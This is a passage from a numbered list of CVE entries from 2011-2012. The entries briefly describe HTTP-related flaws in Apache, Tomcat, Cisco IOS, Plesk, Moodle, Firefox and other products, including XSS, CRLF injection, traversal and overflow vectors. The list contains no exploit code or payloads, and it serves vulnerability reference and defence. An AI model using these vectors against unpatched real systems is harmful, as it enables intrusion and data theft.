11827| [CVE-2012-1870] The CBC mode in the TLS protocol, as used in Microsoft Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista SP2, Windows Server 2008 SP2, R2, and R2 SP1, Windows 7 Gold and SP1, and other products, allows remote web servers to obtain plaintext data by triggering multiple requests to a third-party HTTPS server and sniffing the network during the resulting HTTPS session, aka "TLS Protocol Vulnerability."
11828| [CVE-2012-1837] The (1) webreports, (2) post/create-role, and (3) post/update-role programs in IBM Tivoli Endpoint Manager (TEM) before 8.2 do not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie.
11829| [CVE-2012-1804] The OPC server in Progea Movicon before 11.3 allows remote attackers to cause a denial of service (out-of-bounds read and memory corruption) via a crafted HTTP request.
11830| [CVE-2012-1783] Tiny Server 1.1.9 and earlier allows remote attackers to cause a denial of service (crash) via a long string in a GET request without an HTTP version number.
11831| [CVE-2012-1647] Multiple cross-site scripting (XSS) vulnerabilities in the "stand alone PHP application for the OSM Player," as used in the MediaFront module 6.x-1.x before 6.x-1.5 and 7.x-1.x before 7.x-1.5 for Drupal, allow remote attackers to inject arbitrary web script or HTML via (1) $_SERVER['HTTP_HOST'] or (2) $_SERVER['SCRIPT_NAME'] to players/osmplayer/player/OSMPlayer.php, (3) playlist parameter to players/osmplayer/player/getplaylist.php, and possibly other vectors related to $_SESSION.
11832| [CVE-2012-1466] The Traffic Grapher Server for NetMechanica NetDecision before 4.6.1 allows remote attackers to obtain the source code of NtDecision script files with a .nd extension via an invalid version number in an HTTP request, as demonstrated using default.nd. NOTE: some of these details are obtained from third party information.
11833| [CVE-2012-1465] Stack-based buffer overflow in the HTTP Server in NetMechanica NetDecision before 4.6.1 allows remote attackers to cause a denial of service (application crash) via a long URL in an HTTP request. NOTE: some of these details are obtained from third party information.
11834| [CVE-2012-1288] The UTC Fire & Security GE-MC100-NTP/GPS-ZB Master Clock device uses hardcoded credentials for an administrative account, which makes it easier for remote attackers to obtain access via an HTTP session.
11835| [CVE-2012-1184] Stack-based buffer overflow in the ast_parse_digest function in main/utils.c in Asterisk 1.8.x before 1.8.10.1 and 10.x before 10.2.1 allows remote attackers to cause a denial of service (crash) or possibly execute arbitrary code via a long string in an HTTP Digest Authentication header.
11836| [CVE-2012-1181] fcgid_spawn_ctl.c in the mod_fcgid module 2.3.6 for the Apache HTTP Server does not recognize the FcgidMaxProcessesPerClass directive for a virtual host, which makes it easier for remote attackers to cause a denial of service (memory consumption) via a series of HTTP requests that triggers a process count higher than the intended limit.
11837| [CVE-2012-1180] Use-after-free vulnerability in nginx before 1.0.14 and 1.1.x before 1.1.17 allows remote HTTP servers to obtain sensitive information from process memory via a crafted backend response, in conjunction with a client request.
11838| [CVE-2012-1011] actions.php in the AllWebMenus plugin 1.1.8 for WordPress allows remote attackers to bypass intended access restrictions to upload and execute arbitrary PHP code by setting the HTTP_REFERER to a certain value, then uploading a ZIP file containing a PHP file, then accessing it via a direct request to the file in an unspecified directory.
11839| [CVE-2012-0929] Multiple buffer overflows in Schneider Electric Modicon Quantum PLC allow remote attackers to cause a denial of service via malformed requests to the (1) FTP server or (2) HTTP server.
11840| [CVE-2012-0883] envvars (aka envvars-std) in the Apache HTTP Server before 2.4.2 places a zero-length directory name in the LD_LIBRARY_PATH, which allows local users to gain privileges via a Trojan horse DSO in the current working directory during execution of apachectl.
11841| [CVE-2012-0807] Stack-based buffer overflow in the suhosin_encrypt_single_cookie function in the transparent cookie-encryption feature in the Suhosin extension before 0.9.33 for PHP, when suhosin.cookie.encrypt and suhosin.multiheader are enabled, might allow remote attackers to execute arbitrary code via a long string that is used in a Set-Cookie HTTP header.
11842| [CVE-2012-0804] Heap-based buffer overflow in the proxy_connect function in src/client.c in CVS 1.11 and 1.12 allows remote HTTP proxy servers to cause a denial of service (crash) and possibly execute arbitrary code via a crafted HTTP response.
11843| [CVE-2012-0788] The PDORow implementation in PHP before 5.3.9 does not properly interact with the session feature, which allows remote attackers to cause a denial of service (application crash) via a crafted application that uses a PDO driver for a fetch and then calls the session_start function, as demonstrated by a crash of the Apache HTTP Server.
11844| [CVE-2012-0647] WebKit in Apple Safari before 5.1.4 does not properly handle redirects in conjunction with HTTP authentication, which might allow remote web servers to capture credentials by logging the Authorization HTTP header.
11845| [CVE-2012-0479] Mozilla Firefox 4.x through 11.0, Firefox ESR 10.x before 10.0.4, Thunderbird 5.0 through 11.0, Thunderbird ESR 10.x before 10.0.4, and SeaMonkey before 2.9 allow remote attackers to spoof the address bar via an https URL for invalid (1) RSS or (2) Atom XML content.
11846| [CVE-2012-0475] Mozilla Firefox 4.x through 11.0, Thunderbird 5.0 through 11.0, and SeaMonkey before 2.9 do not properly construct the Origin and Sec-WebSocket-Origin HTTP headers, which might allow remote attackers to bypass an IPv6 literal ACL via a cross-site (1) XMLHttpRequest or (2) WebSocket operation involving a nonstandard port number and an IPv6 address that contains certain zero fields.
11847| [CVE-2012-0465] Bugzilla 3.5.x and 3.6.x before 3.6.9, 3.7.x and 4.0.x before 4.0.6, and 4.1.x and 4.2.x before 4.2.1, when the inbound_proxies option is enabled, does not properly validate the X-Forwarded-For HTTP header, which allows remote attackers to bypass the lockout policy via a series of authentication requests with (1) different IP address strings in this header or (2) a long string in this header.
11848| [CVE-2012-0451] CRLF injection vulnerability in Mozilla Firefox 4.x through 10.0, Firefox ESR 10.x before 10.0.3, Thunderbird 5.0 through 10.0, Thunderbird ESR 10.x before 10.0.3, and SeaMonkey before 2.8 allows remote web servers to bypass intended Content Security Policy (CSP) restrictions and possibly conduct cross-site scripting (XSS) attacks via crafted HTTP headers.
11849| [CVE-2012-0429] dhost in NetIQ eDirectory 8.8.6.x before 8.8.6.7 and 8.8.7.x before 8.8.7.2 on Windows allows remote authenticated users to cause a denial of service (daemon crash) via crafted characters in an HTTP request.
11850| [CVE-2012-0419] Directory traversal vulnerability in the agent HTTP interfaces in Novell GroupWise 8.0 before Support Pack 3 and 2012 before Support Pack 1 allows remote attackers to read arbitrary files via directory traversal sequences in a request.
11851| [CVE-2012-0392] The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method.
11852| [CVE-2012-0387] Memory leak in the HTTP Inspection Engine feature in the Zone-Based Firewall in Cisco IOS 12.4, 15.0, 15.1, and 15.2 allows remote attackers to cause a denial of service (memory consumption or device reload) via crafted transit HTTP traffic, aka Bug ID CSCtq36153.
11853| [CVE-2012-0384] Cisco IOS 12.2 through 12.4 and 15.0 through 15.2 and IOS XE 2.1.x through 2.6.x and 3.1.xS before 3.1.2S, 3.2.xS through 3.4.xS before 3.4.2S, 3.5.xS before 3.5.1S, and 3.1.xSG and 3.2.xSG before 3.2.2SG, when AAA authorization is enabled, allow remote authenticated users to bypass intended access restrictions and execute commands via a (1) HTTP or (2) HTTPS session, aka Bug ID CSCtr91106.
11854| [CVE-2012-0370] Cisco Wireless LAN Controller (WLC) devices with software 4.x, 5.x, 6.0, and 7.0 before 7.0.220.0 and 7.1 before 7.1.91.0, when WebAuth is enabled, allow remote attackers to cause a denial of service (device reload) via a sequence of (1) HTTP or (2) HTTPS packets, aka Bug ID CSCtt47435.
11855| [CVE-2012-0368] The administrative management interface on Cisco Wireless LAN Controller (WLC) devices with software 4.x, 5.x, 6.0, and 7.0 before 7.0.220.0, 7.1 before 7.1.91.0, and 7.2 before 7.2.103.0 allows remote attackers to cause a denial of service (device crash) via a malformed URL in an HTTP request, aka Bug ID CSCts81997.
11856| [CVE-2012-0310] CRLF injection vulnerability in Cogent DataHub 7.1.2 and earlier, Cascade DataHub 6.4.20 and earlier, and OPC DataHub 6.4.20 and earlier allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
11857| [CVE-2012-0271] Integer overflow in the WebConsole component in gwia.exe in GroupWise Internet Agent (GWIA) in Novell GroupWise 8.0 before 8.0.3 HP1 and 2012 before SP1 might allow remote attackers to execute arbitrary code via a crafted request that triggers a heap-based buffer overflow, as demonstrated by a request with -1 in the Content-Length HTTP header.
11858| [CVE-2012-0256] Apache Traffic Server 2.0.x and 3.0.x before 3.0.4 and 3.1.x before 3.1.3 does not properly allocate heap memory, which allows remote attackers to cause a denial of service (daemon crash) via a long HTTP Host header.
11859| [CVE-2012-0216] The default configuration of the apache2 package in Debian GNU/Linux squeeze before 2.2.16-6+squeeze7, wheezy before 2.2.22-4, and sid before 2.2.22-4, when mod_php or mod_rivet is used, provides example scripts under the doc/ URI, which might allow local users to conduct cross-site scripting (XSS) attacks, gain privileges, or obtain sensitive information via vectors involving localhost HTTP requests to the Apache HTTP Server.
11860| [CVE-2012-0147] Microsoft Forefront Unified Access Gateway (UAG) 2010 SP1 and SP1 Update 1 does not properly configure the default web site, which allows remote attackers to obtain sensitive information via a crafted HTTPS request, aka "Unfiltered Access to UAG Default Website Vulnerability."
11861| [CVE-2012-0146] Open redirect vulnerability in Microsoft Forefront Unified Access Gateway (UAG) 2010 SP1 and SP1 Update 1 allows remote attackers to redirect users to arbitrary web sites and conduct phishing attacks via a crafted URL, aka "UAG Blind HTTP Redirect Vulnerability."
11862| [CVE-2012-0053] protocol.c in the Apache HTTP Server 2.2.x through 2.2.21 does not properly restrict header information during construction of Bad Request (aka 400) error documents, which allows remote attackers to obtain the values of HTTPOnly cookies via vectors involving a (1) long or (2) malformed header in conjunction with crafted web script.
11863| [CVE-2012-0031] scoreboard.c in the Apache HTTP Server 2.2.21 and earlier might allow local users to cause a denial of service (daemon crash during shutdown) or possibly have unspecified other impact by modifying a certain type field within a scoreboard shared memory segment, leading to an invalid call to the free function.
11864| [CVE-2012-0021] The log_cookie function in mod_log_config.c in the mod_log_config module in the Apache HTTP Server 2.2.17 through 2.2.21, when a threaded MPM is used, does not properly handle a %{}C format string, which allows remote attackers to cause a denial of service (daemon crash) via a cookie that lacks both a name and a value.
11865| [CVE-2011-5127] Directory traversal vulnerability in Blue Coat Reporter 9.x before 9.2.4.13, 9.2.5.x before 9.2.5.1, and 9.3 before 9.3.1.2 on Windows allows remote attackers to read arbitrary files, and consequently execute arbitrary code, via an unspecified HTTP request.
11866| [CVE-2011-5125] Cross-site scripting (XSS) vulnerability in Blue Coat Director before 5.5.2.3 allows remote attackers to inject arbitrary web script or HTML via vectors involving the HTTP TRACE method.
11867| [CVE-2011-5100] The web interface in McAfee Firewall Reporter before 5.1.0.13 does not properly implement cookie authentication, which allows remote attackers to obtain access, and disable anti-virus functionality, via an HTTP request.
11868| [CVE-2011-5086] https50.ocx in IP*Works! SSL in the server in Unitronics UniOPC before 2.0.0 does not properly implement an unspecified function, which allows remote attackers to cause a denial of service (application crash) or possibly execute arbitrary code via a crafted web site.
11869| [CVE-2011-5078] The web administration interface in the server in Sybase M-Business Anywhere 6.7 before ESD# 3 and 7.0 before ESD# 7 does not require admin authentication for unspecified scripts, which allows remote authenticated users to list or delete user accounts, modify passwords, or read log files via HTTP requests, aka Bug IDs 678497 and 678499.
11870| [CVE-2011-5064] DigestAuthenticator.java in the HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.34, 6.x before 6.0.33, and 7.x before 7.0.12 uses Catalina as the hard-coded server secret (aka private key), which makes it easier for remote attackers to bypass cryptographic protection mechanisms by leveraging knowledge of this string, a different vulnerability than CVE-2011-1184.
11871| [CVE-2011-5063] The HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.34, 6.x before 6.0.33, and 7.x before 7.0.12 does not check realm values, which might allow remote attackers to bypass intended access restrictions by leveraging the availability of a protection space with weaker authentication or authorization requirements, a different vulnerability than CVE-2011-1184.
11872| [CVE-2011-5062] The HTTP Digest Access Authentication implementation in Apache Tomcat 5.5.x before 5.5.34, 6.x before 6.0.33, and 7.x before 7.0.12 does not check qop values, which might allow remote attackers to bypass intended integrity-protection requirements via a qop=auth value, a different vulnerability than CVE-2011-1184.
11873| [CVE-2011-5058] The CmbWebserver.dll module of the Control service in 3S CoDeSys 3.4 SP4 Patch 2 allows remote attackers to create arbitrary directories under the web root by specifying a non-existent directory using \ (backslash) characters in an HTTP GET request.
11874| [CVE-2011-5009] The CmpWebServer.dll module in the Control service in 3S CoDeSys 3.4 SP4 Patch 2 allows remote attackers to cause a denial of service (NULL pointer dereference) via (1) a crafted Content-Length in an HTTP POST or (2) an invalid HTTP request method.
11875| [CVE-2011-4940] The list_directory function in Lib/SimpleHTTPServer.py in SimpleHTTPServer in Python before 2.5.6c1, 2.6.x before 2.6.7 rc2, and 2.7.x before 2.7.2 does not place a charset parameter in the Content-Type HTTP header, which makes it easier for remote attackers to conduct cross-site scripting (XSS) attacks against Internet Explorer 7 via UTF-7 encoding.
11876| [CVE-2011-4909] Multiple cross-site scripting (XSS) vulnerabilities in Joomla! before 1.5.12 allow remote attackers to inject arbitrary web script or HTML via the HTTP_REFERER header to (1) components/com_content/views/article/tmpl/form.php, (2) components/com_user/controller.php, (3) plugins/system/legacy/html.php, or (4) templates/beez/html/com_content/article/form.php.
11877| [CVE-2011-4899] ** DISPUTED ** wp-admin/setup-config.php in the installation component in WordPress 3.3.1 and earlier does not ensure that the specified MySQL database service is appropriate, which allows remote attackers to configure an arbitrary database via the dbhost and dbname parameters, and subsequently conduct static code injection and cross-site scripting (XSS) attacks via (1) an HTTP request or (2) a MySQL query. NOTE: the vendor disputes the significance of this issue
11878| [CVE-2011-4883] The web server in Certec atvise webMI2ADS (aka webMI) before 2.0.2 does not properly validate values in HTTP requests, which allows remote attackers to cause a denial of service (resource consumption) via a crafted request.
11879| [CVE-2011-4882] The web server in Certec atvise webMI2ADS (aka webMI) before 2.0.2 allows remote attackers to cause a denial of service (application exit) via an unspecified command in an HTTP request.
11880| [CVE-2011-4881] The web server in Certec atvise webMI2ADS (aka webMI) before 2.0.2 does not properly check return values from functions, which allows remote attackers to cause a denial of service (NULL pointer dereference) via a crafted HTTP request.
11881| [CVE-2011-4880] Directory traversal vulnerability in the web server in Certec atvise webMI2ADS (aka webMI) before 2.0.2 allows remote attackers to read arbitrary files via a crafted HTTP request.
11882| [CVE-2011-4854] The Control Panel in Parallels Plesk Panel 10.4.4_build20111103.18 does not ensure that Content-Type HTTP headers match the corresponding Content-Type data in HTML META elements, which might allow remote attackers to have an unspecified impact by leveraging an interpretation conflict involving the get_enabled_product_icon program. NOTE: it is possible that only clients, not the Plesk product, could be affected by this issue.
11883| [CVE-2011-4850] The Control Panel in Parallels Plesk Panel 10.4.4_build20111103.18 does not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, as demonstrated by cookies used by help.php and certain other files.
11884| [CVE-2011-4849] The Control Panel in Parallels Plesk Panel 10.4.4_build20111103.18 does not set the secure flag for a cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session, as demonstrated by cookies used by help.php and certain other files.
11885| [CVE-2011-4848] The Control Panel in Parallels Plesk Panel 10.4.4_build20111103.18 includes a submitted password within an HTTP response body, which allows remote attackers to obtain sensitive information by sniffing the network, as demonstrated by password handling in certain files under client@1/domain@1/backup/local-repository/.
11886| [CVE-2011-4765] The Site Editor (aka SiteBuilder) feature in Parallels Plesk Small Business Panel 10.2.0 does not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, as demonstrated by cookies used by Wizard/Edit/Modules/ImageGallery/MultiImagesUpload and certain other files.
11887| [CVE-2011-4758] Parallels Plesk Small Business Panel 10.2.0 receives cleartext password input over HTTP, which allows remote attackers to obtain sensitive information by sniffing the network, as demonstrated by forms in smb/auth and certain other files.
11888| [CVE-2011-4756] Parallels Plesk Small Business Panel 10.2.0 does not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, as demonstrated by cookies used by domains/sitebuilder_edit.php and certain other files.
11889| [CVE-2011-4738] The Control Panel in Parallels Plesk Panel 10.2.0 build 20110407.20 does not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, as demonstrated by cookies used by get_password.php and certain other files.
11890| [CVE-2011-4737] The Control Panel in Parallels Plesk Panel 10.2.0 build 20110407.20 includes a submitted password within an HTTP response body, which allows remote attackers to obtain sensitive information by sniffing the network, as demonstrated by password handling in client@2/domain@1/odbc/dsn@1/properties/.
11891| [CVE-2011-4736] The Control Panel in Parallels Plesk Panel 10.2.0 build 20110407.20 receives cleartext password input over HTTP, which allows remote attackers to obtain sensitive information by sniffing the network, as demonstrated by forms in login_up.php3 and certain other files.
11892| [CVE-2011-4729] The Server Administration Panel in Parallels Plesk Panel 10.2.0_build1011110331.18 does not include the HTTPOnly flag in a Set-Cookie header for a cookie, which makes it easier for remote attackers to obtain potentially sensitive information via script access to this cookie, as demonstrated by cookies used by login_up.php3 and certain other files.
11893| [CVE-2011-4728] The Server Administration Panel in Parallels Plesk Panel 10.2.0_build1011110331.18 does not set the secure flag for a cookie in an https session, which makes it easier for remote attackers to capture this cookie by intercepting its transmission within an http session, as demonstrated by cookies used by login_up.php3 and certain other files.
11894| [CVE-2011-4712] Directory traversal vulnerability in Oxide WebServer allows remote attackers to read arbitrary files via a ..\ (dot dot backslash) in an HTTP request.
11895| [CVE-2011-4710] Multiple SQL injection vulnerabilities in Pixie CMS 1.01 through 1.04 allow remote attackers to execute arbitrary SQL commands via the (1) pixie_user parameter and (2) Referer HTTP header in a request to the default URI.
11896| [CVE-2011-4668] IBM Tivoli Netcool/Reporter 2.2 before 2.2.0.8 allows remote attackers to execute arbitrary code via vectors related to an unspecified CGI program used with the Apache HTTP Server.
11897| [CVE-2011-4644] Splunk 4.2.5 and earlier, when a Free license is selected, enables potentially undesirable functionality within an environment that intentionally does not support authentication, which allows remote attackers to (1) read arbitrary files via a management-console session that leverages the ability to create crafted data sources, or (2) execute management commands via an HTTP request.
11898| [CVE-2011-4643] Multiple directory traversal vulnerabilities in Splunk 4.x before 4.2.5 allow remote authenticated users to read arbitrary files via a .. (dot dot) in a URI to (1) Splunk Web or (2) the Splunkd HTTP Server, aka SPL-45243.
11899| [CVE-2011-4586] CRLF injection vulnerability in calendar/set.php in the Calendar subsystem in Moodle 1.9.x before 1.9.15, 2.0.x before 2.0.6, and 2.1.x before 2.1.3 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors.
11900| [CVE-2011-4585] login/change_password.php in Moodle 1.9.x before 1.9.15 does not use https for the change-password form even if the httpslogin option is enabled, which allows remote attackers to obtain credentials by sniffing the network.
11901| [CVE-2011-4562] Multiple cross-site scripting (XSS) vulnerabilities in (1) view/admin/log_item.php and (2) view/admin/log_item_details.php in the Redirection plugin 2.2.9 for WordPress allow remote attackers to inject arbitrary web script or HTML via the Referer HTTP header in a request to a post that does not exist.
11902| [CVE-2011-4545] CRLF injection vulnerability in admin/displayImage.php in Prestashop 1.4.4.1 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the name parameter.
11903| [CVE-2011-4451] ** DISPUTED ** libs/Wakka.class.php in WikkaWiki 1.3.1 and 1.3.2, when the spam_logging option is enabled, allows remote attackers to write arbitrary PHP code to the spamlog_path file via the User-Agent HTTP header in an addcomment request. NOTE: the vendor disputes this issue because the rendering of the spamlog_path file never uses the PHP interpreter.
11904| [CVE-2011-4449] actions/files/files.php in WikkaWiki 1.3.1 and 1.3.2, when INTRANET_MODE is enabled, supports file uploads for file extensions that are typically absent from an Apache HTTP Server TypesConfig file, which makes it easier for remote attackers to execute arbitrary PHP code by placing this code in a file whose name has multiple extensions, as demonstrated by a (1) .mm or (2) .vpp file.
11905| [CVE-2011-4435] The web-server component in the Consolidation and Analysis Engine (CAE) Server in DB2 Query Monitor in IBM DB2 Tools 2.3.0 for z/OS does not prevent directory browsing, which allows remote attackers to obtain sensitive information via HTTP requests.
11906| [CVE-2011-4415] The ap_pregsub function in server/util.c in the Apache HTTP Server 2.0.x through 2.0.64 and 2.2.x through 2.2.21, when the mod_setenvif module is enabled, does not restrict the size of values of environment variables, which allows local users to cause a denial of service (memory consumption or NULL pointer dereference) via a .htaccess file with a crafted SetEnvIf directive, in conjunction with a crafted HTTP request header, related to (1) the "len +=" statement and (2) the apr_pcalloc function call, a different vulnerability than CVE-2011-3607.
11907| [CVE-2011-4408] The Single Sign On Client (ubuntu-sso-client) for Ubuntu 11.04 and 11.10 does not properly validate SSL certificates when using HTTPS, which allows remote attackers to spoof a server and modify or read sensitive data via a man-in-the-middle (MITM) attack.
11908| [CVE-2011-4404] The default configuration of the HTTP server in Jetty in vSphere Update Manager in VMware vCenter Update Manager 4.0 before Update 4 and 4.1 before Update 2 allows remote attackers to conduct directory traversal attacks and read arbitrary files via unspecified vectors, a related issue to CVE-2009-1523.
11909| [CVE-2011-4362] Integer signedness error in the base64_decode function in the HTTP authentication functionality (http_auth.c) in lighttpd 1.4 before 1.4.30 and 1.5 before SVN revision 2806 allows remote attackers to cause a denial of service (segmentation fault) via crafted base64 input that triggers an out-of-bounds read with a negative index.
11910| [CVE-2011-4317] The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21, when the Revision 1179239 patch is in place, does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an @ (at sign) character and a : (colon) character in invalid positions. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-3368.
11911| [CVE-2011-4294] The error-message functionality in Moodle 1.9.x before 1.9.13, 2.0.x before 2.0.4, and 2.1.x before 2.1.1 does not ensure that a continuation link refers to an http or https URL for the local Moodle instance, which might allow attackers to trick users into visiting arbitrary web sites via unspecified vectors.
11912| [CVE-2011-4237] CRLF injection vulnerability in autologin.jsp in Cisco CiscoWorks Common Services 4.0, as used in Cisco Prime LAN Management Solution and other products, allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the URL parameter, aka Bug ID CSCtu18693.
11913| [CVE-2011-4203] CRLF injection vulnerability in calendar/set.php in the Calendar component in Moodle 1.9.x before 1.9.15, 2.0.x before 2.0.6, 2.1.x before 2.1.3, and 2.2 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via vectors involving the url variable.
11914| [CVE-2011-4140] The CSRF protection mechanism in Django through 1.2.7 and 1.3.x through 1.3.1 does not properly handle web-server configurations supporting arbitrary HTTP Host headers, which allows remote attackers to trigger unauthenticated forged requests via vectors involving a DNS CNAME record and a web page containing JavaScript code.
11915| [CVE-2011-4139] Django before 1.2.7 and 1.3.x before 1.3.1 uses a request's HTTP Host header to construct a full URL in certain circumstances, which allows remote attackers to conduct cache poisoning attacks via a crafted request.
11916| [CVE-2011-4085] The servlets invoked by httpha-invoker in JBoss Enterprise Application Platform before 5.1.2, SOA Platform before 5.2.0, BRMS Platform before 5.3.0, and Portal Platform before 4.3 CP07 perform access control only for the GET and POST methods, which allow remote attackers to bypass authentication by sending a request with a different method. NOTE: this vulnerability exists because of a CVE-2010-0738 regression.
11917| [CVE-2011-3880] Google Chrome before 15.0.874.102 does not prevent use of an unspecified special character as a delimiter in HTTP headers, which has unknown impact and remote attack vectors.
11918| [CVE-2011-3670] Mozilla Firefox before 3.6.26 and 4.x through 6.0, Thunderbird before 3.1.18 and 5.0 through 6.0, and SeaMonkey before 2.4 do not properly enforce the IPv6 literal address syntax, which allows remote attackers to obtain sensitive information by making XMLHttpRequest calls through a proxy and reading the error messages.
11919| [CVE-2011-3639] The mod_proxy module in the Apache HTTP Server 2.0.x through 2.0.64 and 2.2.x before 2.2.18, when the Revision 1179239 patch is in place, does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers by using the HTTP/0.9 protocol with a malformed URI containing an initial @ (at sign) character. NOTE: this vulnerability exists because of an incomplete fix for CVE-2011-3368.
11920| [CVE-2011-3607] Integer overflow in the ap_pregsub function in server/util.c in the Apache HTTP Server 2.0.x through 2.0.64 and 2.2.x through 2.2.21, when the mod_setenvif module is enabled, allows local users to gain privileges via a .htaccess file with a crafted SetEnvIf directive, in conjunction with a crafted HTTP request header, leading to a heap-based buffer overflow.
11921| [CVE-2011-3579] server/webmail.php in IceWarp WebMail in IceWarp Mail Server before 10.3.3 allows remote attackers to read arbitrary files, and possibly send HTTP requests to intranet servers or cause a denial of service (CPU and memory consumption), via an XML external entity declaration in conjunction with an entity reference.
11922| [CVE-2011-3575] Stack-based buffer overflow in the NSFComputeEvaluateExt function in Nnotes.dll in IBM Lotus Domino 8.5.2 allows remote authenticated users to execute arbitrary code via a long tHPRAgentName parameter in an fmHttpPostRequest OpenForm action to WebAdmin.nsf.
11923| [CVE-2011-3500] Directory traversal vulnerability in the web server in Cogent DataHub 7.1.1.63 and earlier allows remote attackers to read arbitrary files via a ..\ (dot dot backslash) in an HTTP request.
11924| [CVE-2011-3487] Directory traversal vulnerability in CarelDataServer.exe in Carel PlantVisor 2.4.4 and earlier allows remote attackers to read arbitrary files via a .. (dot dot) in an HTTP GET request.
11925| [CVE-2011-3426] Cross-site scripting (XSS) vulnerability in Safari in Apple iOS before 5 allows remote web servers to inject arbitrary web script or HTML via a file accompanied by a "Content-Disposition: attachment" HTTP header.
11926| [CVE-2011-3422] The Keychain implementation in Apple Mac OS X 10.6.8 and earlier does not properly handle an untrusted attribute of a Certification Authority certificate, which makes it easier for man-in-the-middle attackers to spoof arbitrary SSL servers via an Extended Validation certificate, as demonstrated by https access with Safari.
11927| [CVE-2011-3404] Microsoft Internet Explorer 6 through 9 does not properly use the Content-Disposition HTTP header to control rendering of the HTTP response body, which allows remote attackers to read content from a different (1) domain or (2) zone via a crafted web site, aka "Content-Disposition Information Disclosure Vulnerability."
11928| [CVE-2011-3389] The SSL protocol, as used in certain configurations in Microsoft Windows and Microsoft Internet Explorer, Mozilla Firefox, Google Chrome, Opera, and other products, encrypts data by using CBC mode with chained initialization vectors, which allows man-in-the-middle attackers to obtain plaintext HTTP headers via a blockwise chosen-boundary attack (BCBA) on an HTTPS session, in conjunction with JavaScript code that uses (1) the HTML5 WebSocket API, (2) the Java URLConnection API, or (3) the Silverlight WebClient API, aka a "BEAST" attack.
11929| [CVE-2011-3375] Apache Tomcat 6.0.30 through 6.0.33 and 7.x before 7.0.22 does not properly perform certain caching and recycling operations involving request objects, which allows remote attackers to obtain unintended read access to IP address and HTTP header information in opportunistic circumstances by reading TCP data.
11930| [CVE-2011-3368] The mod_proxy module in the Apache HTTP Server 1.3.x through 1.3.42, 2.0.x through 2.0.64, and 2.2.x through 2.2.21 does not properly interact with use of (1) RewriteRule and (2) ProxyPassMatch pattern matches for configuration of a reverse proxy, which allows remote attackers to send requests to intranet servers via a malformed URI containing an initial @ (at sign) character.
11931| [CVE-2011-3348] The mod_proxy_ajp module in the Apache HTTP Server before 2.2.21, when used with mod_proxy_balancer in certain configurations, allows remote attackers to cause a denial of service (temporary "error state" in the backend server) via a malformed HTTP request.
11932| [CVE-2011-3340] SQL injection vulnerability in ATCOM Netvolution 2.5.8 ASP allows remote attackers to execute arbitrary SQL commands via the Referer HTTP header.
11933| [CVE-2011-3294] Cross-site scripting (XSS) vulnerability in the login page in the administrative interface on Cisco TelePresence Video Communication Servers (VCS) with software before X7.0 allows remote attackers to inject arbitrary web script or HTML via the User-Agent HTTP header, aka Bug ID CSCts80342.
11934| [CVE-2011-3285] CRLF injection vulnerability in /+CSCOE+/logon.html on Cisco Adaptive Security Appliances (ASA) 5500 series devices with software 8.0 through 8.4 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via unspecified vectors, aka Bug ID CSCth63101.
11935| [CVE-2011-3281] Unspecified vulnerability in Cisco IOS 15.0 through 15.1, in certain HTTP Layer 7 Application Control and Inspection configurations, allows remote attackers to cause a denial of service (device reload or hang) via a crafted HTTP packet, aka Bug ID CSCto68554.
11936| [CVE-2011-3246] CFNetwork in Apple iOS before 5.0.1 and Mac OS X 10.7 before 10.7.2 does not properly parse URLs, which allows remote attackers to trigger visits to unintended web sites, and transmission of cookies to unintended web sites, via a crafted (1) http or (2) https URL.
11937| [CVE-2011-3224] The User Documentation component in Apple Mac OS X through 10.6.8 uses http sessions for updates to App Store help information, which allows man-in-the-middle attackers to execute arbitrary code by spoofing the http server.
11938| [CVE-2011-3218] The "Save for Web" selection in QuickTime Player in Apple Mac OS X through 10.6.8 exports HTML documents that contain an http link to a script file, which allows man-in-the-middle attackers to conduct cross-site scripting (XSS) attacks by spoofing the http server during local viewing of an exported document.
11939| [CVE-2011-3213] The File Systems component in Apple Mac OS X before 10.7.2 does not properly track the specific X.509 certificate that a user manually accepted for an initial https WebDAV connection, which allows man-in-the-middle attackers to hijack WebDAV communication by presenting an arbitrary certificate for a subsequent connection.
11940| [CVE-2011-3192] The byterange filter in the Apache HTTP Server 1.3.x, 2.0.x through 2.0.64, and 2.2.x through 2.2.19 allows remote attackers to cause a denial of service (memory and CPU consumption) via a Range header that expresses multiple overlapping ranges, as exploited in the wild in August 2011, a different vulnerability than CVE-2007-0086.
11941| [CVE-2011-3186] CRLF injection vulnerability in actionpack/lib/action_controller/response.rb in Ruby on Rails 2.3.x before 2.3.13 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the Content-Type header.
